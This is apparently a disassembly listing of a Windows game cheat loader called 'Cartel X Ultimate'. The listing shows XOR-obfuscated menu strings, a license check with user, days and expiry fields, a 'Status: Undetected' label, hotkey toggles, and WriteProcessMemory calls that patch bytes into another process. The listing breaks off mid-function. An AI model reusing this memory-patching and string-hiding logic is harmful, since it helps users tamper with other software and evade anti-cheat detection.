mov r12, qword [rsp + 0x1db18]
mov rdi, qword [rsp + 0x1db10]
movaps xmm15, xmmword [rsp + 0x1da40]
add rsp, 0x1dae8
pop r13
pop rsi
pop rbx
pop rbp
ret
call fcn.14004b530
mov r15d, 0xa
mov rcx, r14
mov edx, r15d
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r14
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea r9d, [r15 - 2]
mov qword [rsp + 0x28], rdi
lea rcx, str.1.89.3_WIP
mov edx, 0x37b8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x418
call fcn.14000a580
xor ecx, ecx
call fcn.14000a0b0
call fcn.14000dce0
lea rcx, [rbp + 0xe70]
mov rdi, rax
call fcn.140021300
mov dword [rbp + 0xebc], 0x10c
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.1400252a0
movss xmm6, dword [0x1401918d0]
lea rdx, [0x14042a160]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0xe70]
mov r8d, 0x8574
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400226c0
mov qword [0x1405c4cd0], rax
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.1400252a0
movss xmm3, dword [0x14012eb68]
lea rdx, [0x14042a160]
mov qword [rsp + 0x28], rax
mov r8d, 0x8574
lea rax, [rbp + 0xe70]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400226c0
mov qword [0x1405c4cc8], rax
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.1400252a0
mov qword [rsp + 0x28], rax
lea rdx, [0x1404326e0]
lea rax, [rbp + 0xe70]
movaps xmm3, xmm6
mov r8d, 0xb98
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400226c0
mov qword [0x1405c4cd8], rax
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.1400252a0
movss xmm3, dword [0x1401918cc]
lea rdx, [0x1404326e0]
mov qword [rsp + 0x28], rax
mov r8d, 0xb98
lea rax, [rbp + 0xe70]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400226c0
xor ecx, ecx
mov qword [0x1405c4ce0], rax
call fcn.140028dd0
mov rcx, r14
call fcn.14003b910
mov rdx, qword [0x1405c4f78]
mov rcx, qword [0x1405c4ec8]
call fcn.14003a8d0
xor bl, bl
lea r12, [0x1405c51a0]
mov dword [rbp + 0x134], ebx
movss xmm8, dword [0x14012eb24]
xorps xmm7, xmm7
movss xmm14, dword [0x14012ead4]
movss xmm11, dword [0x14012eb40]
movss xmm9, dword [0x14012eb9c]
movss xmm15, dword [0x14012eafc]
movss xmm10, dword [0x14012eb58]
movss xmm12, dword [0x14012eb48]
movss xmm13, dword [0x1401918e0]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
lea rcx, [rbp + 0xd38]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140050a82
nop dword [rax]
lea rcx, [rbp + 0xd38]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xd38]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0xd40], 0x12
lea rcx, [rbp + 0xd38]
movzx ebx, bl
cmove ebx, esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140050a30
mov dword [rbp + 0x134], ebx
test bl, bl
jne 0x140056ab2
call fcn.14003ab50
call fcn.14003bac0
call fcn.140014cb0
mov ecx, reloc.WLDAP32.dll_Ordinal_45
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140050ac0
cmp byte [reloc.WS2_32.dll_accept], 0
mov rcx, r14
sete al
mov byte [reloc.WS2_32.dll_accept], al
neg al
sbb edx, edx
and edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.14004b270
movzx eax, byte [0x1405c4bcc]
test al, al
jne 0x140051b15
call fcn.14000e3d0
xor edx, edx
lea rcx, [rbp + 0x3c8]
mov r15, rax
mov dword [rax + 0x10], 0x41200000
mov dword [rax + 0x2c], 0x41200000
mov dword [rax + 8], r13d
mov dword [rax + 0xc], 0x41f00000
mov dword [rax + 0x14], r13d
mov dword [rax + 0x44], 0x40800000
mov qword [rax + 0x4c], 0
mov dword [rax + 0x74], 0x40c00000
mov qword [rax + 0x34], 0x41000000
mov dword [rbp + 0x3c8], 0x44480000
mov dword [rbp + 0x3cc], 0x44020000
call fcn.14001b000
lea rcx, [rsp + 0x60]
call fcn.14004a4e0
cmp byte [rax + 9], 0
je 0x140050b70
xor byte [rax], 0x2b
xor byte [rax + 1], 0xb
xor byte [rax + 2], 0xd
xor byte [rax + 3], 0x5b
xor byte [rax + 4], 0x37
xor byte [rax + 5], 0xa3
xor byte [rax + 6], 0xf
xor byte [rax + 7], 0xd7
xor byte [rax + 8], 0x2b
mov byte [rax + 9], 0
xor edx, edx
mov r8d, 0x20bb
mov rcx, rax
call fcn.140004dd0
lea rcx, [rbp + 0x330]
call fcn.14000e680
lea rcx, [rbp + 0x3d0]
call fcn.14000e6a0
lea rcx, [rbp + 0xc28]
call fcn.14000d840
call fcn.14000d910
cvttss2si ecx, dword [0x14058e628]
mov rbx, rax
mov dword [rbp + 0x540], 0
mov dword [rbp + 0x544], 0x3f800000
mov dword [rbp + 0x548], 0x3f800000
movd xmm0, ecx
lea rcx, [rbp + 0x540]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm14
movss dword [rbp + 0x54c], xmm0
call fcn.140009f70
movss xmm0, dword [rbp + 0x3d0]
lea r8, [rbp + 0x3d8]
movss xmm3, dword [rbp + 0x330]
lea rdx, [rbp + 0x3e0]
movss xmm2, dword [rbp + 0x334]
addss xmm0, xmm3
movss xmm1, dword [rbp + 0x3d4]
subss xmm3, xmm8
addss xmm1, xmm2
mov r9d, eax
subss xmm2, xmm8
mov rcx, rbx
addss xmm0, xmm8
movss dword [rbp + 0x3e0], xmm3
addss xmm1, xmm8
movss dword [rbp + 0x3e4], xmm2
movss dword [rbp + 0x3d8], xmm0
movss xmm0, dword [0x14012eb38]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
movss dword [rsp + 0x20], xmm11
movss dword [rbp + 0x3dc], xmm1
call fcn.140023bf0
call fcn.14004b270
lea rdx, [rbp + 0x1d0]
mov rcx, r14
call qword [sym.imp.USER32.dll_GetWindowRect]
lea rcx, [rbp + 0xc30]
call fcn.14000e680
movss xmm0, dword [rax]
ucomiss xmm0, xmm7
jp 0x140050cc8
jne 0x140050cc8
lea rcx, [rbp + 0xc38]
call fcn.14000e680
movss xmm0, dword [rax + 4]
ucomiss xmm0, xmm7
jp 0x140050cc8
je 0x140050d3e
lea rcx, [rbp + 0xc40]
call fcn.14000e680
movd xmm0, dword [rbp + 0x1d4]
lea rcx, [rbp + 0xbb0]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
call fcn.14000e680
mov r9d, 0x320
mov dword [rsp + 0x28], esi
mov r8d, ebx
mov rcx, r14
mov dword [rsp + 0x20], 0x208
movd xmm0, dword [rbp + 0x1d0]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
call qword [sym.imp.USER32.dll_MoveWindow]
xor edx, edx
mov qword [rbp + 0x3e8], 0
lea rcx, [rbp + 0x3e8]
call fcn.14001b330
call fcn.14000e630
lea rcx, [rsp + 0x60]
mov r14, rax
call fcn.14004a550
mov rcx, rax
call fcn.140049fd0
lea rcx, [0x14058ede8]
mov rsi, rax
call fcn.14000d740
lea rcx, [rsp + 0x60]
mov edi, eax
call fcn.14004a0b0
mov rcx, rax
call fcn.140049fd0
mov rdx, rax
movss dword [rsp + 0x20], xmm9
xor r9d, r9d
lea rcx, [rbp + 0xb00]
xor r8d, r8d
call fcn.140008b80
mov rbx, rax
call fcn.14000e6c0
subss xmm0, dword [rbx]
mov r9, rsi
mov dword [rbp + 0x3f4], 0x41400000
mov r8d, edi
mov qword [rsp + 0x20], r13
lea rdx, [rbp + 0x3f0]
mov rcx, r14
mulss xmm0, xmm15
addss xmm0, xmm7
movss dword [rbp + 0x3f0], xmm0
call fcn.140023eb0
call fcn.14000d570
lea rcx, [0x14058eda8]
mov rbx, rax
call fcn.14000d740
mov r9d, eax
mov dword [rsp + 0x28], Ordinal_50
lea r8, [rbp + 0x3f8]
movss dword [rsp + 0x20], xmm10
lea rdx, [rbp + 0x400]
mov dword [rbp + 0x3f8], 0x44480000
mov rcx, rbx
mov dword [rbp + 0x3fc], 0x42340000
mov qword [rbp + 0x400], 0
call fcn.140023d00
call fcn.14000d570
lea rcx, [0x14058edb8]
mov rbx, rax
call fcn.14000d740
mov r9d, eax
mov dword [rsp + 0x28], 0xc0
lea r8, [rbp + 0x408]
movss dword [rsp + 0x20], xmm10
lea rdx, [rbp + 0x410]
mov dword [rbp + 0x408], 0x44480000
mov rcx, rbx
mov dword [rbp + 0x40c], 0x44020000
mov dword [rbp + 0x410], 0
mov dword [rbp + 0x414], 0x42340000
call fcn.140023d00
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x140056bb5
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140050eb8
call fcn.14004e0a0
lea rcx, [rbp + 0x418]
mov dword [rbp + 0x418], 0x43340000
mov dword [rbp + 0x41c], 0x43f28000
call fcn.14001a990
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea rcx, [0x14058e558]
cmova rcx, qword [0x14058e558]
call fcn.140037db0
lea rdx, [rbp + 0x420]
mov dword [rbp + 0x420], 0x40e00000
mov ecx, reloc.WS2_32.dll_ntohl
mov dword [rbp + 0x424], 0x40e00000
call fcn.140016b80
lea rcx, [rbp + 0x428]
mov dword [rbp + 0x428], 0x40e00000
mov dword [rbp + 0x42c], 0x42540000
call fcn.14001a990
call fcn.140007d20
lea rcx, [rsp + 0x60]
mov dword [rbp + 0x430], 0x431d0000
mov dword [rbp + 0x434], 0x420c0000
call fcn.14004a770
mov rbx, rax
cmp byte [rax + 6], 0
je 0x140050f80
xor byte [rax], 0x25
xor byte [rax + 1], 0x49
xor byte [rax + 2], 0xa9
xor byte [rax + 3], 0x5d
xor byte [rax + 4], 0x6d
xor byte [rax + 5], 0x5d
mov byte [rax + 6], 0
lea rcx, [rsp + 0x60]
call fcn.14004a1d0
cmp byte [rax + 2], 0
je 0x140050f9b
xor byte [rax], 0x25
xor byte [rax + 1], 0x49
mov byte [rax + 2], 0
cmp dword [0x1405c4ce8], 0
lea r9, [rbp + 0x430]
mov r8, rbx
mov dword [rsp + 0x20], r13d
sete cl
mov rdx, rax
call fcn.1400376b0
test al, al
je 0x140050fc7
mov dword [0x1405c4ce8], r13d
lea rcx, [rsp + 0x60]
mov dword [rbp + 0x438], 0x431d0000
mov dword [rbp + 0x43c], 0x420c0000
call fcn.14004a930
mov rbx, rax
cmp byte [rax + 9], 0
je 0x140051015
xor byte [rax], 0xb9
xor byte [rax + 1], 0xc7
xor byte [rax + 2], 0x25
xor byte [rax + 3], 0x3f
xor byte [rax + 4], 0xa5
xor byte [rax + 5], 0x23
xor byte [rax + 6], 0x4d
xor byte [rax + 7], 0x3f
xor byte [rax + 8], 0xb9
mov byte [rax + 9], 0
lea rcx, [rsp + 0x60]
call fcn.14004a480
cmp byte [rax + 2], 0
je 0x140051030
xor byte [rax], 0xb9
xor byte [rax + 1], 0xc7
mov byte [rax + 2], 0
cmp dword [0x1405c4ce8], 1
lea r9, [rbp + 0x438]
mov r8, rbx
mov dword [rsp + 0x20], r13d
sete cl
mov rdx, rax
call fcn.1400376b0
mov esi, 1
test al, al
je 0x140051060
mov dword [0x1405c4ce8], esi
call fcn.14000bd20
mov ecx, esi
call fcn.140016580
mov eax, dword [0x1405c4cf4]
cmp dword [0x1405c4ce8], eax
jne 0x140051080
movaps xmm6, xmm8
jmp 0x140051084
movaps xmm6, xmm9
call fcn.14000dce0
movss xmm0, dword [rax + 0x10]
mulss xmm0, xmm12
mulss xmm0, xmm6
addss xmm0, dword [0x1405c4cec]
comiss xmm7, xmm0
jbe 0x1400510a9
movaps xmm1, xmm7
jmp 0x1400510b1
movaps xmm1, xmm8
minss xmm1, xmm0
mov eax, dword [0x1405c4cf4]
cmp dword [0x1405c4ce8], eax
movss dword [0x1405c4cec], xmm1
jne 0x1400510cd
movaps xmm6, xmm8
jmp 0x1400510d1
movaps xmm6, xmm9
call fcn.14000dce0
movaps xmm0, xmm13
mov rbx, rax
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
mulss xmm0, dword [rbx + 0x10]
mulss xmm0, xmm6
addss xmm0, dword [0x1405c4cf0]
comiss xmm7, xmm0
jbe 0x1400510fd
movaps xmm1, xmm7
jmp 0x140051105
movaps xmm1, xmm8
minss xmm1, xmm0
movss xmm0, dword [0x1405c4cec]
ucomiss xmm0, xmm7
movss dword [0x1405c4cf0], xmm1
jp 0x14005112f
jne 0x14005112f
ucomiss xmm1, xmm7
jp 0x14005112f
jne 0x14005112f
mov eax, dword [0x1405c4ce8]
mov dword [0x1405c4cf4], eax
lea rcx, [rbp + 0x440]
mov dword [rbp + 0x440], 0x43340000
mov dword [rbp + 0x444], 0x425c0000
call fcn.14001a990
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14005115d
call fcn.14004e0a0
movss xmm1, dword [0x1405c4cec]
xor ecx, ecx
mulss xmm1, dword [r15]
call fcn.140016c60
mov eax, dword [0x1405c4cf4]
cmp eax, 1
jne 0x1400514c8
call fcn.140007d20
lea rcx, [rsp + 0x60]
mov dword [rbp + 0x450], 0x43b18000
mov dword [rbp + 0x454], 0x43b18000
call fcn.14004a2b0
cmp byte [rax + 0xe], 0
je 0x1400511e4
xor byte [rax], 0xb1
xor byte [rax + 1], 0xaf
xor byte [rax + 2], 0x69
xor byte [rax + 3], 0xbd
xor byte [rax + 4], 0x95
xor byte [rax + 5], 0x53
xor byte [rax + 6], 0xaf
xor byte [rax + 7], 0xc7
xor byte [rax + 8], 0xb1
xor byte [rax + 9], 0xaf
xor byte [rax + 0xa], 0x69
xor byte [rax + 0xb], 0xbd
xor byte [rax + 0xc], 0x95
xor byte [rax + 0xd], 0x53
mov byte [rax + 0xe], 0
xor r9d, r9d
lea rdx, [rbp + 0x450]
mov r8b, 1
mov rcx, rax
call fcn.140007760
lea rcx, [rsp + 0x60]
call fcn.14004a230
cmp byte [rax + 0xc], 0
je 0x14005123c
xor byte [rax], 0x43
xor byte [rax + 1], 3
xor byte [rax + 2], 7
xor byte [rax + 3], 0xfb
xor byte [rax + 4], 0x3b
xor byte [rax + 5], 0x21
xor byte [rax + 6], 0x31
xor byte [rax + 7], 0xa3
xor byte [rax + 8], 0x43
xor byte [rax + 9], 3
xor byte [rax + 0xa], 7
xor byte [rax + 0xb], 0xfb
mov byte [rax + 0xc], 0
xor r9d, r9d
mov qword [rsp + 0x28], r13
lea rdi, [0x1405c4d30]
mov qword [rsp + 0x20], r13
mov rdx, rdi
mov rcx, rax
lea r8d, [r9 + 0x23]
call fcn.1400318c0
lea rcx, [rsp + 0x60]
call fcn.14004a700
cmp byte [rax + 0xd], 0
je 0x1400512a6
xor byte [rax], 0x1b
xor byte [rax + 1], 0x9d
xor byte [rax + 2], 0x75
xor byte [rax + 3], 0x3f
xor byte [rax + 4], 0x1d
xor byte [rax + 5], 0x2f
xor byte [rax + 6], 0xa7
xor byte [rax + 7], 1
xor byte [rax + 8], 0x1b
xor byte [rax + 9], 0x9d
xor byte [rax + 0xa], 0x75
xor byte [rax + 0xb], 0x3f
xor byte [rax + 0xc], 0x1d
mov byte [rax + 0xd], 0
xor r9d, r9d
mov qword [rsp + 0x28], r13
lea rbx, [0x1405c4d70]
mov qword [rsp + 0x20], r13
mov rdx, rbx
mov rcx, rax
lea r8d, [r9 + 0x23]
call fcn.1400318c0
lea rcx, [rsp + 0x60]
call fcn.14004a410
cmp byte [rax + 8], 0
je 0x1400512fc
xor byte [rax], 0x8b
xor byte [rax + 1], 0x95
xor byte [rax + 2], 0x6f
xor byte [rax + 3], 0xb1
xor byte [rax + 4], 0xc3
xor byte [rax + 5], 0xe7
xor byte [rax + 6], 0x7b
xor byte [rax + 7], 0x41
mov byte [rax + 8], 0
xor r9d, r9d
mov qword [rsp + 0x28], r13
lea r14, [0x1405c4db0]
mov qword [rsp + 0x20], r13
mov rdx, r14
mov rcx, rax
lea r8d, [r9 + 0x23]
call fcn.1400318c0
lea rcx, [rsp + 0x60]
mov dword [rbp + 0x458], 0x43480000
mov dword [rbp + 0x45c], 0x420c0000
call fcn.14004a7e0
cmp byte [rax + 9], 0
je 0x14005136a
xor byte [rax], 0xdf
xor byte [rax + 1], 0x75
xor byte [rax + 2], 0x8f
xor byte [rax + 3], 0xeb
xor byte [rax + 4], 0x7f
xor byte [rax + 5], 0x99
xor byte [rax + 6], 0xa7
xor byte [rax + 7], 0xaf
xor byte [rax + 8], 0xdf
mov byte [rax + 9], 0
lea rdx, [rbp + 0x458]
mov rcx, rax
call fcn.14002fe90
test al, al
je 0x1400514b6
xorps xmm0, xmm0
mov qword [rbp + 0x880], r13
movups xmmword [rbp + 0x870], xmm0
mov qword [rbp + 0x888], r13
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r14 + r8], 0
jne 0x1400513a0
mov rdx, r14
lea rcx, [rbp + 0x870]
call fcn.14002f3c0
xorps xmm0, xmm0
mov qword [rbp + 0x840], r13
movups xmmword [rbp + 0x830], xmm0
mov qword [rbp + 0x848], r13
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x1400513e0
mov rdx, rbx
lea rcx, [rbp + 0x830]
call fcn.14002f3c0
xorps xmm0, xmm0
mov qword [rbp + 0x860], r13
movups xmmword [rbp + 0x850], xmm0
mov qword [rbp + 0x868], r13
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x140051420
mov rdx, rdi
lea rcx, [rbp + 0x850]
call fcn.14002f3c0
lea r9, [rbp + 0x870]
lea r8, [rbp + 0x830]
lea rdx, [rbp + 0x850]
lea rcx, [0x1405c4f80]
call fcn.1400cf4d0
cmp byte [0x1405c5198], 0
mov rdx, r12
mov r8, 0xffffffffffffffff
je 0x140051490
cmp qword [0x1405c51b8], 0xf
mov byte [0x1405c4bcc], 1
cmova rdx, qword [0x1405c51a0]
inc r8
cmp byte [rdx + r8], 0
jne 0x140051484
jmp 0x1400514aa
cmp qword [0x1405c51b8], 0xf
cmova rdx, qword [0x1405c51a0]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400514a0
lea rcx, [0x14058e558]
call fcn.140038520
call fcn.14000b520
call fcn.14000bd20
mov eax, dword [0x1405c4cf4]
jmp 0x1400514d6
lea rdi, [0x1405c4d30]
lea rbx, [0x1405c4d70]
test eax, eax
jne 0x140051af5
call fcn.140007d20
lea rcx, [rsp + 0x60]
mov dword [rbp + 0x4a0], 0x43b18000
mov dword [rbp + 0x4a4], 0x43b18000
call fcn.14004a040
cmp byte [rax + 6], 0
je 0x140051522
xor byte [rax], 0xc9
xor byte [rax + 1], 0x65
xor byte [rax + 2], 0xb9
xor byte [rax + 3], 0x65
xor byte [rax + 4], 0x29
xor byte [rax + 5], 0xbd
mov byte [rax + 6], 0
xor r9d, r9d
lea rdx, [rbp + 0x4a0]
mov r8b, 1
mov rcx, rax
call fcn.140007760
lea rcx, [rsp + 0x60]
call fcn.14004a680
cmp byte [rax + 0xc], 0
je 0x14005157a
xor byte [rax], 0xa3
xor byte [rax + 1], 0x9b
xor byte [rax + 2], 0xfd
xor byte [rax + 3], 0x4f
xor byte [rax + 4], 0xcb
xor byte [rax + 5], 0x45
xor byte [rax + 6], 0xd1
xor byte [rax + 7], 0xcd
xor byte [rax + 8], 0xa3
xor byte [rax + 9], 0x9b
xor byte [rax + 0xa], 0xfd
xor byte [rax + 0xb], 0x4f
mov byte [rax + 0xc], 0
xor r9d, r9d
mov qword [rsp + 0x28], r13
mov rdx, rdi
mov qword [rsp + 0x20], r13
mov rcx, rax
lea r8d, [r9 + 0x28]
call fcn.1400318c0
lea rcx, [rsp + 0x60]
call fcn.14004a160
cmp byte [rax + 0xd], 0
je 0x1400515dd
xor byte [rax], 0x57
xor byte [rax + 1], 0xef
xor byte [rax + 2], 0xbb
xor byte [rax + 3], 0x47
xor byte [rax + 4], 0xa7
xor byte [rax + 5], 0x5d
xor byte [rax + 6], 0x27
xor byte [rax + 7], 0x15
xor byte [rax + 8], 0x57
xor byte [rax + 9], 0xef
xor byte [rax + 0xa], 0xbb
xor byte [rax + 0xb], 0x47
xor byte [rax + 0xc], 0xa7
mov byte [rax + 0xd], 0
xor r9d, r9d
mov qword [rsp + 0x28], r13
mov rdx, rbx
mov qword [rsp + 0x20], r13
mov rcx, rax
lea r8d, [r9 + 0x28]
call fcn.1400318c0
lea rcx, [rsp + 0x60]
mov dword [rbp + 0x4a8], 0x43480000
mov dword [rbp + 0x4ac], 0x42200000
call fcn.14004a850
cmp byte [rax + 6], 0
je 0x140051638
xor byte [rax], 0xcd
xor byte [rax + 1], 0x1d
xor byte [rax + 2], 0x59
xor byte [rax + 3], 0x47
xor byte [rax + 4], 0x25
xor byte [rax + 5], 0x45
mov byte [rax + 6], 0
lea rdx, [rbp + 0x4a8]
mov rcx, rax
call fcn.14002fe90
test al, al
je 0x140051aeb
xorps xmm0, xmm0
mov qword [rbp + 0x8a0], r13
movups xmmword [rbp + 0x890], xmm0
mov qword [rbp + 0x8a8], r13
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x140051670
mov rdx, rbx
lea rcx, [rbp + 0x890]
call fcn.14002f3c0
xorps xmm0, xmm0
mov qword [rbp + 0x8c0], r13
movups xmmword [rbp + 0x8b0], xmm0
mov qword [rbp + 0x8c8], r13
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x1400516b0
mov rdx, rdi
lea rcx, [rbp + 0x8b0]
call fcn.14002f3c0
lea r8, [rbp + 0x890]
lea rdx, [rbp + 0x8b0]
lea rcx, [0x1405c4f80]
call fcn.1400cd390
cmp byte [0x1405c5198], 0
je 0x140051aeb
lea rdx, [0x1405c5178]
mov byte [0x1405c4bcc], 1
lea rcx, [rbp + 0x930]
call fcn.140048790
cmp qword [rbp + 0x948], 0xf
lea rcx, [rbp + 0x930]
cmova rcx, qword [rbp + 0x930]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
movsxd rcx, eax
mov qword [rbp + 0x588], rcx
lea rcx, [rbp + 0x588]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
lea r8, str.Expiry:__d__m__Y
mov edx, reloc.WS2_32.dll_sendto
mov r9, rax
lea rcx, [rbp + 0x970]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea r8, [0x1405c50c0]
mov rbx, rax
lea rdx, str.Usuario:
lea rcx, [rbp + 0x910]
call fcn.1400473a0
lea rdx, [0x1405c5178]
lea rcx, [rbp + 0x8f0]
call fcn.140048790
cmp qword [rbp + 0x908], 0xf
lea rcx, [rbp + 0x8f0]
cmova rcx, qword [rbp + 0x8f0]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, eax
mov eax, 0xc22e4507
imul ecx
add edx, ecx
lea rcx, [rbp + 0x99d]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add edx, eax
jns 0x1400517dc
neg edx
call fcn.1400486b0
dec rax
mov byte [rax], reloc.WLDAP32.dll_Ordinal_45
jmp 0x1400517e1
call fcn.1400486b0
lea r9, [rsp + 0x60]
mov rdx, rax
lea r8, [rbp + 0x99d]
lea rcx, [rbp + 0x8d0]
call fcn.140046ed0
cmp qword [rbp + 0x8e8], 0xf
lea rdx, [rbp + 0x8d0]
xorps xmm0, xmm0
mov qword [rbp + 0x508], r13
cmova rdx, qword [rbp + 0x8d0]
mov r8, 0xffffffffffffffff
movups xmmword [rbp + 0x4f8], xmm0
mov qword [rbp + 0x510], r13
inc r8
cmp byte [rdx + r8], 0
jne 0x140051832
lea rcx, [rbp + 0x4f8]
call fcn.14002f3c0
lea rcx, [rbp + 0x8d0]
call fcn.14002fd20
lea r8, [rbp + 0x4f8]
lea rdx, str.Dias:
lea rcx, [rbp + 0xe50]
call fcn.1400473a0
xorps xmm0, xmm0
mov qword [rbp + 0x270], r13
mov r8d, reloc.WS2_32.dll_select
mov qword [rbp + 0x278], r13
lea rdx, str.Status:_Undetected
lea rcx, [rbp + 0x260]
movups xmmword [rbp + 0x260], xmm0
call fcn.14002f3c0
xorps xmm0, xmm0
mov qword [rbp + 0x250], r13
movups xmmword [rbp + 0x240], xmm0
mov qword [rbp + 0x258], r13
lea rax, [rbp + 0x970]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400518c5
lea rdx, [rbp + 0x970]
lea rcx, [rbp + 0x240]
call fcn.14002f3c0
cmp qword [rbp + 0x278], 0xf
lea rdx, [rbp + 0x260]
mov r8, 0xffffffffffffffff
cmova rdx, qword [rbp + 0x260]
inc r8
cmp byte [rdx + r8], 0
jne 0x140051900
lea rcx, [0x14058e558]
call fcn.140038520
xorps xmm0, xmm0
lea rdx, [rbp + 0xe00]
xor r9d, r9d
lea rcx, str.1186272039133261936
mov r8d, esi
movups xmmword [rbp + 0xe00], xmm0
movups xmmword [rbp + 0xe10], xmm0
movups xmmword [rbp + 0xe20], xmm0
call fcn.140040f40
cmp qword [rbp + 0x928], 0xf
lea rax, [rbp + 0x910]
xorps xmm0, xmm0
lea rcx, [rbp + 0xc50]
cmova rax, qword [rbp + 0x910]
cmp qword [rbp + 0x258], 0xf
movups xmmword [rbp + 0xc50], xmm0
mov qword [rbp + 0xc50], rax
lea rax, [rbp + 0x240]
cmova rax, qword [rbp + 0x240]
mov qword [rbp + 0xc58], rax
lea rax, str.trilder_x_1
movups xmmword [rbp + 0xc70], xmm0
mov qword [rbp + 0xc70], rax
lea rax, str.Cartel_X_Ultimate
mov qword [rbp + 0xc78], rax
lea rax, str.cff9f526f96ff491dbba63b2fd02b0c3
movups xmmword [rbp + 0xc80], xmm0
mov qword [rbp + 0xc80], rax
lea rax, str.Developed_by_Swatzz
movups xmmword [rbp + 0xc60], xmm0
mov qword [rbp + 0xc88], rax
movups xmmword [rbp + 0xc90], xmm0
mov qword [rbp + 0xc60], rbx
movups xmmword [rbp + 0xca0], xmm0
movups xmmword [rbp + 0xcb0], xmm0
movups xmmword [rbp + 0xcc0], xmm0
movups xmmword [rbp + 0xcd0], xmm0
call fcn.1400411b0
mov r8, qword [rbp + 0x258]
cmp r8, 0xf
jbe 0x140051a30
mov rdx, qword [rbp + 0x240]
lea rcx, [rbp + 0x240]
call fcn.14004d430
mov r8, qword [rbp + 0x278]
mov qword [rbp + 0x250], r13
mov qword [rbp + 0x258], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x240], 0
cmp r8, 0xf
jbe 0x140051a69
mov rdx, qword [rbp + 0x260]
lea rcx, [rbp + 0x260]
call fcn.14004d430
lea rcx, [rbp + 0xe50]
mov qword [rbp + 0x270], r13
mov qword [rbp + 0x278], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x260], 0
call fcn.14002fd20
mov r8, qword [rbp + 0x510]
cmp r8, 0xf
jbe 0x140051aae
mov rdx, qword [rbp + 0x4f8]
lea rcx, [rbp + 0x4f8]
call fcn.14004d430
lea rcx, [rbp + 0x8f0]
mov qword [rbp + 0x508], r13
mov qword [rbp + 0x510], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x4f8], 0
call fcn.14002fd20
lea rcx, [rbp + 0x910]
call fcn.14002fd20
lea rcx, [rbp + 0x930]
call fcn.14002fd20
call fcn.14000b520
call fcn.14000bd20
mov ecx, esi
call fcn.140016580
call fcn.14000afe0
movzx eax, byte [0x1405c4bcc]
mov r15d, 0xa
mov r14, qword [rbp + 0x1a8]
cmp al, 1
jne 0x140056a2d
mov ecx, dword [0x1405c4c0c]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140051ce1
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140051b69
lea rdx, [0x14004c040]
lea rcx, [rbp + 0xb50]
call fcn.140046e50
mov rcx, rax
call fcn.14004e060
cmp dword [rbp + 0xb58], 0
je 0x140051ce1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rax, qword [0x1405c4e70]
mov esi, r13d
mov rdx, qword [0x1405c4e68]
sub rax, rdx
sar rax, 3
cmp byte [0x1405c4cb0], 0
je 0x140051c38
mov byte [0x1405c4cb0], 0
mov dword [rbp - 0x68], 0xc47a0000
mov dword [rbp - 0x64], 0x43f3f3f
mov dword [rbp - 0x60], 0xe92d4ff0
mov dword [rbp - 0x5c], 0xe28db01c
test rax, rax
je 0x140051c07
mov rdi, r13
nop dword [rax]
mov rbx, qword [rdx + rdi]
call fcn.1400573b0
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], r13
lea r8, [rbp - 0x68]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1405c4e70]
